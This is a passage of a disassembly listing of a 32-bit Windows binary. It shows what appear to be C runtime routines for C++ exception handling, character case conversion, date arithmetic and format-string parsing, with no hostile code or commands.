arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h


loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------


loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]


loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA


loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_48A090
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_48A094
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_48A090, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_48A094, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]


loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------


loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_48A090, eax
		mov	eax, [ebp-20h]
		mov	dword_48A094, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552


loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh


loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2


loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_48A09C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------


loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]


loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0


loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43B924
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------


loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]


loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0


loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_48B688
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------


loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------


loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]


loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_48B684
		nop
		call	near ptr 28605BBh


loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43C054[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi


loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43BF70
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_43BF74, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1


loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_43BF78


loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------


loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh


loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------


loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_4397AC, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------


loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729


loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------


loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------


loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------


loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_4397AC, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------


loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_4395A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch


loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------


loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------


loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA


loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]


loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------


loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1


loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
